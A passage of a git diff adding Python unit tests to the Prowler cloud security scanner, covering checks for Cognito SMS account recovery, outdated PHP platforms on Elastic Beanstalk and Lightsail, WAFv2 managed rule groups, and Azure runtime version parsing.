+
+ pool = list(cognito_client.user_pools.values())[0]
+ assert len(result) == 1
+ assert result[0].status == "FAIL"
+ assert (
+ result[0].status_extended
+ == f"User pool {USER_POOL_NAME} prefers SMS for account recovery."
+ )
+ assert result[0].resource_id == pool.id
+ assert result[0].resource_arn == pool.arn
+ assert result[0].region == AWS_REGION_US_EAST_1
+
+ @mock_aws
+ def test_user_pool_prefers_email_over_sms(self):
+ from prowler.providers.aws.services.cognito.cognito_service import CognitoIDP
+
+ client("cognito-idp", region_name=AWS_REGION_US_EAST_1).create_user_pool(
+ PoolName=USER_POOL_NAME,
+ AccountRecoverySetting={
+ "RecoveryMechanisms": [
+ {"Priority": 2, "Name": "verified_phone_number"},
+ {"Priority": 1, "Name": "verified_email"},
+ ]
+ },
+ )
+
+ aws_provider = set_mocked_aws_provider([AWS_REGION_US_EAST_1])
+ cognito_client = CognitoIDP(aws_provider)
+
+ with mock.patch(PROVIDER_PATH, return_value=aws_provider):
+ with mock.patch(CHECK_PATH, new=cognito_client):
+ from prowler.providers.aws.services.cognito.cognito_user_pool_account_recovery_sms_not_preferred.cognito_user_pool_account_recovery_sms_not_preferred import (
+ cognito_user_pool_account_recovery_sms_not_preferred,
+ )
+
+ check = cognito_user_pool_account_recovery_sms_not_preferred()
+ result = check.execute()
+
+ pool = list(cognito_client.user_pools.values())[0]
+ assert len(result) == 1
+ assert result[0].status == "PASS"
+ assert (
+ result[0].status_extended
+ == f"User pool {USER_POOL_NAME} prefers verified_email over SMS for account recovery."
+ )
+ assert result[0].resource_id == pool.id
+ assert result[0].resource_arn == pool.arn
+ assert result[0].region == AWS_REGION_US_EAST_1
+
+ @mock_aws
+ def test_user_pool_admin_only_recovery(self):
+ from prowler.providers.aws.services.cognito.cognito_service import CognitoIDP
+
+ client("cognito-idp", region_name=AWS_REGION_US_EAST_1).create_user_pool(
+ PoolName=USER_POOL_NAME,
+ AccountRecoverySetting={
+ "RecoveryMechanisms": [{"Priority": 1, "Name": "admin_only"}]
+ },
+ )
+
+ aws_provider = set_mocked_aws_provider([AWS_REGION_US_EAST_1])
+ cognito_client = CognitoIDP(aws_provider)
+
+ with mock.patch(PROVIDER_PATH, return_value=aws_provider):
+ with mock.patch(CHECK_PATH, new=cognito_client):
+ from prowler.providers.aws.services.cognito.cognito_user_pool_account_recovery_sms_not_preferred.cognito_user_pool_account_recovery_sms_not_preferred import (
+ cognito_user_pool_account_recovery_sms_not_preferred,
+ )
+
+ check = cognito_user_pool_account_recovery_sms_not_preferred()
+ result = check.execute()
+
+ assert len(result) == 1
+ assert result[0].status == "PASS"
+ assert (
+ result[0].status_extended
+ == f"User pool {USER_POOL_NAME} prefers admin_only over SMS for account recovery."
+ )
diff --git a/tests/providers/aws/services/elasticbeanstalk/elasticbeanstalk_environment_php_platform_updated/elasticbeanstalk_environment_php_platform_updated_test.py b/tests/providers/aws/services/elasticbeanstalk/elasticbeanstalk_environment_php_platform_updated/elasticbeanstalk_environment_php_platform_updated_test.py
new file mode 100644
index 0000000000..6080662f89
--- /dev/null
+++ b/tests/providers/aws/services/elasticbeanstalk/elasticbeanstalk_environment_php_platform_updated/elasticbeanstalk_environment_php_platform_updated_test.py
@@ -0,0 +1,136 @@
+from unittest import mock
+
+import pytest
+
+from prowler.providers.aws.services.elasticbeanstalk.elasticbeanstalk_service import (
+ Environment,
+)
+from tests.providers.aws.utils import (
+ AWS_ACCOUNT_NUMBER,
+ AWS_REGION_EU_WEST_1,
+ set_mocked_aws_provider,
+)
+
+CHECK_PATH = "prowler.providers.aws.services.elasticbeanstalk.elasticbeanstalk_environment_php_platform_updated.elasticbeanstalk_environment_php_platform_updated"
+ENV_ARN = f"arn:aws:elasticbeanstalk:{AWS_REGION_EU_WEST_1}:{AWS_ACCOUNT_NUMBER}:environment/test-app/test-env"
+
+
+def _environment(solution_stack_name="", platform_arn=""):
+ return Environment(
+ id="e-abc123",
+ name="test-env",
+ arn=ENV_ARN,
+ region=AWS_REGION_EU_WEST_1,
+ application_name="test-app",
+ solution_stack_name=solution_stack_name,
+ platform_arn=platform_arn,
+ )
+
+
+def _run_check(environments, audit_config=None):
+ elasticbeanstalk_client = mock.MagicMock()
+ elasticbeanstalk_client.environments = environments
+ elasticbeanstalk_client.audit_config = audit_config or {}
+
+ with (
+ mock.patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=set_mocked_aws_provider([AWS_REGION_EU_WEST_1]),
+ ),
+ mock.patch(
+ f"{CHECK_PATH}.elasticbeanstalk_client", new=elasticbeanstalk_client
+ ),
+ ):
+ from prowler.providers.aws.services.elasticbeanstalk.elasticbeanstalk_environment_php_platform_updated.elasticbeanstalk_environment_php_platform_updated import (
+ elasticbeanstalk_environment_php_platform_updated,
+ )
+
+ return elasticbeanstalk_environment_php_platform_updated().execute()
+
+
+class Test_elasticbeanstalk_environment_php_platform_updated:
+ def test_no_environments(self):
+ assert len(_run_check({})) == 0
+
+ def test_non_php_environment_is_skipped(self):
+ environments = {
+ ENV_ARN: _environment("64bit Amazon Linux 2023 v4.7.3 running Python 3.12")
+ }
+ assert len(_run_check(environments)) == 0
+
+ def test_environment_without_stack_is_skipped(self):
+ assert len(_run_check({ENV_ARN: _environment()})) == 0
+
+ @pytest.mark.parametrize(
+ "solution_stack_name,expected_status,expected_message",
+ [
+ (
+ "64bit Amazon Linux 2023 v4.13.13 running PHP 8.4",
+ "PASS",
+ "Elastic Beanstalk environment test-env runs PHP 8.4 on platform version 4.13.13, which includes the fixed PHP release.",
+ ),
+ (
+ "64bit Amazon Linux 2023 v4.14.0 running PHP 8.2",
+ "PASS",
+ "Elastic Beanstalk environment test-env runs PHP 8.2 on platform version 4.14.0, which includes the fixed PHP release.",
+ ),
+ (
+ "64bit Amazon Linux 2023 v4.13.12 running PHP 8.5",
+ "FAIL",
+ "Elastic Beanstalk environment test-env runs PHP 8.5 on platform version 4.13.12, below the minimum fixed platform version 4.13.13.",
+ ),
+ (
+ "64bit Amazon Linux 2023 v4.9.2 running PHP 8.3",
+ "FAIL",
+ "Elastic Beanstalk environment test-env runs PHP 8.3 on platform version 4.9.2, below the minimum fixed platform version 4.13.13.",
+ ),
+ (
+ "64bit Amazon Linux 2023 v4.13.13 running PHP 8.1",
+ "FAIL",
+ "Elastic Beanstalk environment test-env runs PHP 8.1, a branch that no longer receives security fixes (minimum supported branch is 8.2).",
+ ),
+ (
+ "64bit Amazon Linux 2 v3.9.5 running PHP 8.2",
+ "FAIL",
+ "Elastic Beanstalk environment test-env runs PHP 8.2 on platform '64bit Amazon Linux 2 v3.9.5 running PHP 8.2', a platform family without fixed PHP releases; migrate it to a PHP 8.2 Amazon Linux 2023 platform version 4.13.13 or newer.",
+ ),
+ ],
+ )
+ def test_php_environment(
+ self, solution_stack_name, expected_status, expected_message
+ ):
+ result = _run_check({ENV_ARN: _environment(solution_stack_name)})
+ assert len(result) == 1
+ assert result[0].status == expected_status
+ assert result[0].status_extended == expected_message
+ assert result[0].resource_id == "e-abc123"
+ assert result[0].resource_arn == ENV_ARN
+ assert result[0].region == AWS_REGION_EU_WEST_1
+
+ def test_platform_arn_fallback(self):
+ environments = {
+ ENV_ARN: _environment(
+ platform_arn=f"arn:aws:elasticbeanstalk:{AWS_REGION_EU_WEST_1}::platform/PHP 8.3 running on 64bit Amazon Linux 2023/4.13.13"
+ )
+ }
+ result = _run_check(environments)
+ assert len(result) == 1
+ assert result[0].status == "PASS"
+
+ def test_custom_minimums(self):
+ environments = {
+ ENV_ARN: _environment("64bit Amazon Linux 2023 v4.13.13 running PHP 8.3")
+ }
+ result = _run_check(
+ environments,
+ {
+ "elasticbeanstalk_php_min_branch": "8.4",
+ "elasticbeanstalk_php_min_platform_version": "4.13.13",
+ },
+ )
+ assert len(result) == 1
+ assert result[0].status == "FAIL"
+ assert (
+ result[0].status_extended
+ == "Elastic Beanstalk environment test-env runs PHP 8.3, a branch that no longer receives security fixes (minimum supported branch is 8.4)."
+ )
diff --git a/tests/providers/aws/services/elasticbeanstalk/elasticbeanstalk_service_test.py b/tests/providers/aws/services/elasticbeanstalk/elasticbeanstalk_service_test.py
index 48348a4020..bb5866a5c9 100644
--- a/tests/providers/aws/services/elasticbeanstalk/elasticbeanstalk_service_test.py
+++ b/tests/providers/aws/services/elasticbeanstalk/elasticbeanstalk_service_test.py
@@ -7,7 +7,11 @@ from moto import mock_aws
from prowler.providers.aws.services.elasticbeanstalk.elasticbeanstalk_service import (
ElasticBeanstalk,
)
-from tests.providers.aws.utils import AWS_REGION_EU_WEST_1, set_mocked_aws_provider
+from tests.providers.aws.utils import (
+ AWS_ACCOUNT_NUMBER,
+ AWS_REGION_EU_WEST_1,
+ set_mocked_aws_provider,
+)
make_api_call = botocore.client.BaseClient._make_api_call
@@ -120,6 +124,44 @@ class Test_ElasticBeanstalk_Service:
== "test-app"
)
+ @mock_aws
+ def test_describe_environments_platform(self):
+ environment_arn = f"arn:aws:elasticbeanstalk:{AWS_REGION_EU_WEST_1}:{AWS_ACCOUNT_NUMBER}:environment/test-app/test-env"
+
+ def mock_describe_environments(self, operation_name, kwarg):
+ if operation_name == "DescribeEnvironments":
+ return {
+ "Environments": [
+ {
+ "EnvironmentId": "e-abc123",
+ "EnvironmentArn": environment_arn,
+ "ApplicationName": "test-app",
+ "EnvironmentName": "test-env",
+ "SolutionStackName": "64bit Amazon Linux 2023 v4.13.13 running PHP 8.4",
+ "PlatformArn": f"arn:aws:elasticbeanstalk:{AWS_REGION_EU_WEST_1}::platform/PHP 8.4 running on 64bit Amazon Linux 2023/4.13.13",
+ }
+ ]
+ }
+ return make_api_call(self, operation_name, kwarg)
+
+ with patch(
+ "botocore.client.BaseClient._make_api_call",
+ new=mock_describe_environments,
+ ):
+ elasticbeanstalk = ElasticBeanstalk(
+ set_mocked_aws_provider([AWS_REGION_EU_WEST_1])
+ )
+
+ environment = elasticbeanstalk.environments[environment_arn]
+ assert (
+ environment.solution_stack_name
+ == "64bit Amazon Linux 2023 v4.13.13 running PHP 8.4"
+ )
+ assert (
+ environment.platform_arn
+ == f"arn:aws:elasticbeanstalk:{AWS_REGION_EU_WEST_1}::platform/PHP 8.4 running on 64bit Amazon Linux 2023/4.13.13"
+ )
+
# Test _describe_configuration_settings
@mock_aws
def test_describe_configuration_settings(self):
diff --git a/tests/providers/aws/services/lightsail/lightsail_instance_php_blueprint_updated/lightsail_instance_php_blueprint_updated_test.py b/tests/providers/aws/services/lightsail/lightsail_instance_php_blueprint_updated/lightsail_instance_php_blueprint_updated_test.py
new file mode 100644
index 0000000000..2c43e3d2ff
--- /dev/null
+++ b/tests/providers/aws/services/lightsail/lightsail_instance_php_blueprint_updated/lightsail_instance_php_blueprint_updated_test.py
@@ -0,0 +1,89 @@
+from unittest.mock import MagicMock, patch
+
+import pytest
+
+from prowler.providers.aws.services.lightsail.lightsail_service import Instance
+from tests.providers.aws.utils import (
+ AWS_REGION_US_EAST_1,
+ AWS_REGION_US_EAST_1_AZA,
+ BASE_LIGHTSAIL_ARN,
+ set_mocked_aws_provider,
+)
+
+CHECK_PATH = "prowler.providers.aws.services.lightsail.lightsail_instance_php_blueprint_updated.lightsail_instance_php_blueprint_updated"
+INSTANCE_ARN = f"{BASE_LIGHTSAIL_ARN}:Instance/test-instance"
+
+
+def _instance(blueprint_id, blueprint_name=""):
+ return Instance(
+ name="test-instance",
+ id="1234/5678",
+ arn=INSTANCE_ARN,
+ tags=[],
+ region=AWS_REGION_US_EAST_1,
+ availability_zone=AWS_REGION_US_EAST_1_AZA,
+ static_ip=False,
+ public_ip="",
+ private_ip="172.16.2.3",
+ ipv6_addresses=[],
+ ip_address_type="ipv4",
+ ports=[],
+ auto_snapshot=False,
+ blueprint_id=blueprint_id,
+ blueprint_name=blueprint_name,
+ )
+
+
+def _run_check(instances, audit_config=None):
+ lightsail_client = MagicMock
+ lightsail_client.instances = instances
+ lightsail_client.audit_config = audit_config or {}
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=set_mocked_aws_provider([AWS_REGION_US_EAST_1]),
+ ),
+ patch(
+ "prowler.providers.aws.services.lightsail.lightsail_service.Lightsail",
+ new=lightsail_client,
+ ),
+ patch(f"{CHECK_PATH}.lightsail_client", new=lightsail_client),
+ ):
+ from prowler.providers.aws.services.lightsail.lightsail_instance_php_blueprint_updated.lightsail_instance_php_blueprint_updated import (
+ lightsail_instance_php_blueprint_updated,
+ )
+
+ return lightsail_instance_php_blueprint_updated().execute()
+
+
+class Test_lightsail_instance_php_blueprint_updated:
+ def test_no_instances(self):
+ assert len(_run_check({})) == 0
+
+ @pytest.mark.parametrize("blueprint_id", ["ubuntu_22_04", "nodejs", "mean", ""])
+ def test_non_php_blueprint_is_skipped(self, blueprint_id):
+ assert len(_run_check({INSTANCE_ARN: _instance(blueprint_id)})) == 0
+
+ @pytest.mark.parametrize(
+ "blueprint_id",
+ ["wordpress", "wordpress_multisite", "lamp_8_bitnami", "nginx", "drupal"],
+ )
+ def test_php_blueprint_is_manual(self, blueprint_id):
+ result = _run_check({INSTANCE_ARN: _instance(blueprint_id, "WordPress")})
+ assert len(result) == 1
+ assert result[0].status == "MANUAL"
+ assert (
+ result[0].status_extended
+ == f"Lightsail instance test-instance was created from the PHP blueprint '{blueprint_id}'; the PHP runtime cannot be inspected through the API, verify over SSH that it runs a fixed release (8.2.35, 8.3.36, 8.4.27, 8.5.12 or newer); Bitnami-packaged blueprints bundle a PHP copy that apt never updates, so migrate them to the Lightsail-packaged blueprint or replace the bundled PHP with a package-managed one."
+ )
+ assert result[0].resource_id == "1234/5678"
+ assert result[0].resource_arn == INSTANCE_ARN
+ assert result[0].region == AWS_REGION_US_EAST_1
+
+ def test_custom_blueprint_list(self):
+ instances = {INSTANCE_ARN: _instance("custom_php_app")}
+ assert len(_run_check(instances)) == 0
+ result = _run_check(instances, {"lightsail_php_blueprints": ["custom_php"]})
+ assert len(result) == 1
+ assert result[0].status == "MANUAL"
diff --git a/tests/providers/aws/services/lightsail/lightsail_service_test.py b/tests/providers/aws/services/lightsail/lightsail_service_test.py
index 29aad1cb3e..201073ca0b 100644
--- a/tests/providers/aws/services/lightsail/lightsail_service_test.py
+++ b/tests/providers/aws/services/lightsail/lightsail_service_test.py
@@ -202,6 +202,14 @@ class TestLightsailService:
== f"{BASE_LIGHTSAIL_ARN}:Instance/test-id"
)
assert lightsail.instances[f"{BASE_LIGHTSAIL_ARN}:Instance/test-id"].tags == []
+ assert (
+ lightsail.instances[f"{BASE_LIGHTSAIL_ARN}:Instance/test-id"].blueprint_id
+ == "wordpress"
+ )
+ assert (
+ lightsail.instances[f"{BASE_LIGHTSAIL_ARN}:Instance/test-id"].blueprint_name
+ == "WordPress"
+ )
assert (
lightsail.instances[f"{BASE_LIGHTSAIL_ARN}:Instance/test-id"].region
== AWS_REGION_US_EAST_1
diff --git a/tests/providers/aws/services/stepfunctions/stepfunctions_statemachine_encrypted_with_cmk/stepfunctions_statemachine_encrypted_with_cmk_test.py b/tests/providers/aws/services/stepfunctions/stepfunctions_statemachine_encrypted_with_cmk/stepfunctions_statemachine_encrypted_with_cmk_test.py
index 44ec8f03c9..f17b59a3b3 100644
--- a/tests/providers/aws/services/stepfunctions/stepfunctions_statemachine_encrypted_with_cmk/stepfunctions_statemachine_encrypted_with_cmk_test.py
+++ b/tests/providers/aws/services/stepfunctions/stepfunctions_statemachine_encrypted_with_cmk/stepfunctions_statemachine_encrypted_with_cmk_test.py
@@ -139,4 +139,7 @@ def test_stepfunctions_statemachine_encrypted_with_cmk(
assert result[0].resource_id == STATE_MACHINE_ID
assert result[0].resource_arn == STATE_MACHINE_ARN
assert result[0].region == AWS_REGION_EU_WEST_1
- assert result[0].resource == state_machines[STATE_MACHINE_ARN]
+ assert result[0].resource == {
+ **state_machines[STATE_MACHINE_ARN].dict(),
+ "definition": "REDACTED",
+ }
diff --git a/tests/providers/aws/services/stepfunctions/stepfunctions_statemachine_logging_enabled/stepfunctions_statemachine_logging_enabled_test.py b/tests/providers/aws/services/stepfunctions/stepfunctions_statemachine_logging_enabled/stepfunctions_statemachine_logging_enabled_test.py
index 801c045f5b..b7570036a6 100644
--- a/tests/providers/aws/services/stepfunctions/stepfunctions_statemachine_logging_enabled/stepfunctions_statemachine_logging_enabled_test.py
+++ b/tests/providers/aws/services/stepfunctions/stepfunctions_statemachine_logging_enabled/stepfunctions_statemachine_logging_enabled_test.py
@@ -131,4 +131,7 @@ def test_stepfunctions_statemachine_logging(state_machines, expected_status):
assert result[0].resource_id == STATE_MACHINE_ID
assert result[0].resource_arn == STATE_MACHINE_ARN
assert result[0].region == AWS_REGION_EU_WEST_1
- assert result[0].resource == state_machines[STATE_MACHINE_ARN]
+ assert result[0].resource == {
+ **state_machines[STATE_MACHINE_ARN].dict(),
+ "definition": "REDACTED",
+ }
diff --git a/tests/providers/aws/services/wafv2/wafv2_service_test.py b/tests/providers/aws/services/wafv2/wafv2_service_test.py
index 5a4539ba41..91bf17d598 100644
--- a/tests/providers/aws/services/wafv2/wafv2_service_test.py
+++ b/tests/providers/aws/services/wafv2/wafv2_service_test.py
@@ -207,7 +207,24 @@ class Test_WAFv2_Service:
"CloudWatchMetricsEnabled": True,
"MetricName": "web-acl-test-metric",
},
- }
+ },
+ {
+ "Name": "AWS-AWSManagedRulesPHPRuleSet",
+ "Priority": 2,
+ "Statement": {
+ "ManagedRuleGroupStatement": {
+ "VendorName": "AWS",
+ "Name": "AWSManagedRulesPHPRuleSet",
+ "Version": "Version_2.3",
+ }
+ },
+ "OverrideAction": {"None": {}},
+ "VisibilityConfig": {
+ "SampledRequestsEnabled": True,
+ "CloudWatchMetricsEnabled": True,
+ "MetricName": "php-rule-set",
+ },
+ },
],
VisibilityConfig={
"SampledRequestsEnabled": False,
@@ -221,6 +238,11 @@ class Test_WAFv2_Service:
aws = set_mocked_aws_provider([AWS_REGION_EU_WEST_1])
wafv2 = WAFv2(aws)
assert len(wafv2.web_acls) == 1
- assert len(wafv2.web_acls[waf_arn].rules) == 1
+ assert len(wafv2.web_acls[waf_arn].rules) == 2
assert wafv2.web_acls[waf_arn].rules[0].name == "rule-on"
assert wafv2.web_acls[waf_arn].rules[0].cloudwatch_metrics_enabled
+ assert wafv2.web_acls[waf_arn].rules[0].managed_rule_group is None
+ managed = wafv2.web_acls[waf_arn].rules[1].managed_rule_group
+ assert managed.vendor_name == "AWS"
+ assert managed.name == "AWSManagedRulesPHPRuleSet"
+ assert managed.version == "Version_2.3"
diff --git a/tests/providers/aws/services/wafv2/wafv2_webacl_managed_rule_groups_enabled/wafv2_webacl_managed_rule_groups_enabled_test.py b/tests/providers/aws/services/wafv2/wafv2_webacl_managed_rule_groups_enabled/wafv2_webacl_managed_rule_groups_enabled_test.py
new file mode 100644
index 0000000000..49689b1a4b
--- /dev/null
+++ b/tests/providers/aws/services/wafv2/wafv2_webacl_managed_rule_groups_enabled/wafv2_webacl_managed_rule_groups_enabled_test.py
@@ -0,0 +1,89 @@
+from unittest import mock
+
+from prowler.providers.aws.services.wafv2.wafv2_service import (
+ ManagedRuleGroup,
+ Rule,
+ WebAclv2,
+)
+from tests.providers.aws.utils import (
+ AWS_ACCOUNT_NUMBER,
+ AWS_REGION_US_EAST_1,
+ set_mocked_aws_provider,
+)
+
+CHECK_PATH = "prowler.providers.aws.services.wafv2.wafv2_webacl_managed_rule_groups_enabled.wafv2_webacl_managed_rule_groups_enabled"
+WEB_ACL_ARN = f"arn:aws:wafv2:{AWS_REGION_US_EAST_1}:{AWS_ACCOUNT_NUMBER}:regional/webacl/test-acl/abc"
+
+
+def _web_acl(rules):
+ return WebAclv2(
+ arn=WEB_ACL_ARN,
+ name="test-acl",
+ id="abc",
+ albs=[],
+ user_pools=[],
+ region=AWS_REGION_US_EAST_1,
+ tags=[],
+ rules=rules,
+ )
+
+
+def _run_check(web_acls):
+ wafv2_client = mock.MagicMock()
+ wafv2_client.web_acls = web_acls
+
+ with (
+ mock.patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=set_mocked_aws_provider([AWS_REGION_US_EAST_1]),
+ ),
+ mock.patch(f"{CHECK_PATH}.wafv2_client", new=wafv2_client),
+ ):
+ from prowler.providers.aws.services.wafv2.wafv2_webacl_managed_rule_groups_enabled.wafv2_webacl_managed_rule_groups_enabled import (
+ wafv2_webacl_managed_rule_groups_enabled,
+ )
+
+ return wafv2_webacl_managed_rule_groups_enabled().execute()
+
+
+class Test_wafv2_webacl_managed_rule_groups_enabled:
+ def test_no_web_acls(self):
+ assert len(_run_check({})) == 0
+
+ def test_no_managed_rule_groups(self):
+ result = _run_check({WEB_ACL_ARN: _web_acl([Rule(name="custom-rule")])})
+ assert len(result) == 1
+ assert result[0].status == "FAIL"
+ assert (
+ result[0].status_extended
+ == "AWS WAFv2 Web ACL test-acl does not use any managed rule group."
+ )
+ assert result[0].resource_id == "abc"
+ assert result[0].resource_arn == WEB_ACL_ARN
+ assert result[0].region == AWS_REGION_US_EAST_1
+
+ def test_managed_rule_groups(self):
+ rules = [
+ Rule(name="custom-rule"),
+ Rule(
+ name="AWS-AWSManagedRulesCommonRuleSet",
+ managed_rule_group=ManagedRuleGroup(
+ vendor_name="AWS", name="AWSManagedRulesCommonRuleSet"
+ ),
+ ),
+ Rule(
+ name="AWS-AWSManagedRulesPHPRuleSet",
+ managed_rule_group=ManagedRuleGroup(
+ vendor_name="AWS",
+ name="AWSManagedRulesPHPRuleSet",
+ version="Version_2.3",
+ ),
+ ),
+ ]
+ result = _run_check({WEB_ACL_ARN: _web_acl(rules)})
+ assert len(result) == 1
+ assert result[0].status == "PASS"
+ assert (
+ result[0].status_extended
+ == "AWS WAFv2 Web ACL test-acl uses managed rule groups: AWS/AWSManagedRulesCommonRuleSet, AWS/AWSManagedRulesPHPRuleSet."
+ )
diff --git a/tests/providers/azure/azure_provider_test.py b/tests/providers/azure/azure_provider_test.py
index 5e493a90c7..6d73d04dd9 100644
--- a/tests/providers/azure/azure_provider_test.py
+++ b/tests/providers/azure/azure_provider_test.py
@@ -83,7 +83,7 @@ class TestAzureProvider:
)
assert azure_provider.audit_config == {
"shodan_api_key": None,
- "php_latest_version": "8.2",
+ "php_latest_version": "8.5",
"python_latest_version": "3.12",
"java_latest_version": "17",
"recommended_minimal_tls_versions": ["1.2", "1.3"],
diff --git a/tests/providers/azure/lib/runtime/runtime_version_test.py b/tests/providers/azure/lib/runtime/runtime_version_test.py
new file mode 100644
index 0000000000..4f7fb41204
--- /dev/null
+++ b/tests/providers/azure/lib/runtime/runtime_version_test.py
@@ -0,0 +1,54 @@
+import pytest
+
+from prowler.providers.azure.lib.runtime.runtime_version import (
+ parse_java_version,
+ parse_runtime_version,
+ runtime_version_at_least,
+)
+
+
+class Test_runtime_version_helpers:
+ @pytest.mark.parametrize(
+ "value,expected",
+ [
+ ("PHP|8.3", (8, 3)),
+ ("php|8.0", (8, 0)),
+ ("PYTHON|3.12", (3, 12)),
+ ("8.2.35", (8, 2, 35)),
+ ("", ()),
+ (None, ()),
+ ("PHP|latest", ()),
+ ],
+ )
+ def test_parse_runtime_version(self, value, expected):
+ assert parse_runtime_version(value) == expected
+
+ @pytest.mark.parametrize(
+ "value,expected",
+ [
+ ("JAVA|17-java17", (17,)),
+ ("TOMCAT|10.0-java11", (11,)),
+ ("JBOSSEAP|7-java8", (8,)),
+ ("JAVA|8-jre8", (8,)),
+ ("java1.8", (8,)),
+ ("17", (17,)),
+ ("", ()),
+ ],
+ )
+ def test_parse_java_version(self, value, expected):
+ assert parse_java_version(value) == expected
+
+ @pytest.mark.parametrize(
+ "current,minimum,expected",
+ [
+ ((8, 3), (8, 2), True),
+ ((8, 2), (8, 2), True),
+ ((8, 1), (8, 2), False),
+ ((8, 2), (8, 2, 35), True),
+ ((9,), (8, 2), True),
+ ((), (8, 2), False),
+ ((8, 2), (), False),
+ ],
+ )
+ def test_runtime_version_at_least(self, current, minimum, expected):
+ assert runtime_version_at_least(current, minimum) is expected
diff --git a/tests/providers/azure/services/app/app_ensure_java_version_is_latest/app_ensure_java_version_is_latest_test.py b/tests/providers/azure/services/app/app_ensure_java_version_is_latest/app_ensure_java_version_is_latest_test.py
index 2e0d847b97..abec63b0aa 100644
--- a/tests/providers/azure/services/app/app_ensure_java_version_is_latest/app_ensure_java_version_is_latest_test.py
+++ b/tests/providers/azure/services/app/app_ensure_java_version_is_latest/app_ensure_java_version_is_latest_test.py
@@ -1,6 +1,8 @@
from unittest import mock
from uuid import uuid4
+import pytest
+
from tests.providers.azure.azure_fixtures import (
AZURE_SUBSCRIPTION_DISPLAY,
AZURE_SUBSCRIPTION_ID,
@@ -8,333 +10,165 @@ from tests.providers.azure.azure_fixtures import (
set_mocked_azure_provider,
)
+CHECK_PATH = "prowler.providers.azure.services.app.app_ensure_java_version_is_latest.app_ensure_java_version_is_latest"
+
+
+def _run_check(app_client):
+ with (
+ mock.patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=set_mocked_azure_provider(),
+ ),
+ mock.patch(f"{CHECK_PATH}.app_client", new=app_client),
+ ):
+ from prowler.providers.azure.services.app.app_ensure_java_version_is_latest.app_ensure_java_version_is_latest import (
+ app_ensure_java_version_is_latest,
+ )
+
+ return app_ensure_java_version_is_latest().execute()
+
+
+def _app_client(configurations, audit_config=None):
+ # app_service imports monitor_client, which needs the provider patched at import time
+ with mock.patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=set_mocked_azure_provider(),
+ ):
+ from prowler.providers.azure.services.app.app_service import WebApp
+
+ resource_id = f"/subscriptions/{uuid4()}"
+ app_client = mock.MagicMock()
+ app_client.subscriptions = {AZURE_SUBSCRIPTION_ID: AZURE_SUBSCRIPTION_NAME}
+ app_client.audit_config = audit_config or {}
+ app_client.apps = {
+ AZURE_SUBSCRIPTION_ID: {
+ resource_id: WebApp(
+ resource_id=resource_id,
+ name="app_id-1",
+ auth_enabled=True,
+ configurations=configurations,
+ client_cert_mode="Ignore",
+ https_only=False,
+ identity=None,
+ location="West Europe",
+ )
+ }
+ }
+ return app_client, resource_id
+
class Test_app_ensure_java_version_is_latest:
def test_app_no_subscriptions(self):
- app_client = mock.MagicMock
+ app_client = mock.MagicMock()
app_client.subscriptions = {AZURE_SUBSCRIPTION_ID: AZURE_SUBSCRIPTION_NAME}
app_client.apps = {}
+ assert len(_run_check(app_client)) == 0
- with (
- mock.patch(
- "prowler.providers.common.provider.Provider.get_global_provider",
- return_value=set_mocked_azure_provider(),
- ),
- mock.patch(
- "prowler.providers.azure.services.app.app_ensure_java_version_is_latest.app_ensure_java_version_is_latest.app_client",
- new=app_client,
- ),
- ):
- from prowler.providers.azure.services.app.app_ensure_java_version_is_latest.app_ensure_java_version_is_latest import (
- app_ensure_java_version_is_latest,
- )
-
- check = app_ensure_java_version_is_latest()
- result = check.execute()
- assert len(result) == 0
-
- def test_app_subscriptions_empty(self):
- app_client = mock.MagicMock
+ def test_app_subscription_empty(self):
+ app_client = mock.MagicMock()
app_client.subscriptions = {AZURE_SUBSCRIPTION_ID: AZURE_SUBSCRIPTION_NAME}
app_client.apps = {AZURE_SUBSCRIPTION_ID: {}}
-
- with (
- mock.patch(
- "prowler.providers.common.provider.Provider.get_global_provider",
- return_value=set_mocked_azure_provider(),
- ),
- mock.patch(
- "prowler.providers.azure.services.app.app_ensure_java_version_is_latest.app_ensure_java_version_is_latest.app_client",
- new=app_client,
- ),
- ):
- from prowler.providers.azure.services.app.app_ensure_java_version_is_latest.app_ensure_java_version_is_latest import (
- app_ensure_java_version_is_latest,
- )
-
- check = app_ensure_java_version_is_latest()
- result = check.execute()
- assert len(result) == 0
+ assert len(_run_check(app_client)) == 0
def test_app_configurations_none(self):
- resource_id = f"/subscriptions/{uuid4()}"
- app_client = mock.MagicMock
- app_client.subscriptions = {AZURE_SUBSCRIPTION_ID: AZURE_SUBSCRIPTION_NAME}
+ app_client, _ = _app_client(None)
+ assert len(_run_check(app_client)) == 0
- with (
- mock.patch(
- "prowler.providers.common.provider.Provider.get_global_provider",
- return_value=set_mocked_azure_provider(),
+ def test_app_linux_fx_version_none_is_skipped(self):
+ app_client, _ = _app_client(
+ mock.MagicMock(linux_fx_version=None, java_version=None)
+ )
+ assert len(_run_check(app_client)) == 0
+
+ def test_app_linux_fx_version_none_uses_windows_version(self):
+ app_client, _ = _app_client(
+ mock.MagicMock(linux_fx_version=None, java_version="17")
+ )
+ result = _run_check(app_client)
+ assert len(result) == 1
+ assert result[0].status == "PASS"
+
+ def test_app_other_runtime_is_skipped(self):
+ app_client, _ = _app_client(
+ mock.MagicMock(linux_fx_version="php|8.0", java_version=None)
+ )
+ assert len(_run_check(app_client)) == 0
+
+ @pytest.mark.parametrize(
+ "configurations,minimum,expected_status,expected_message",
+ [
+ (
+ {"linux_fx_version": "Tomcat|9.0-java11", "java_version": None},
+ "17",
+ "FAIL",
+ "Java version is set to 'Tomcat|9.0-java11', which is below the minimum supported version 'java 17',",
),
- mock.patch(
- "prowler.providers.azure.services.app.app_ensure_java_version_is_latest.app_ensure_java_version_is_latest.app_client",
- new=app_client,
+ (
+ {"linux_fx_version": "Tomcat|9.0-java17", "java_version": None},
+ "17",
+ "PASS",
+ "Java version is set to 'Tomcat|9.0-java17', which meets the minimum supported version 'java 17',",
),
- ):
- from prowler.providers.azure.services.app.app_ensure_java_version_is_latest.app_ensure_java_version_is_latest import (
- app_ensure_java_version_is_latest,
- )
- from prowler.providers.azure.services.app.app_service import WebApp
-
- app_client.apps = {
- AZURE_SUBSCRIPTION_ID: {
- resource_id: WebApp(
- resource_id=resource_id,
- name="app_id-1",
- auth_enabled=True,
- configurations=None,
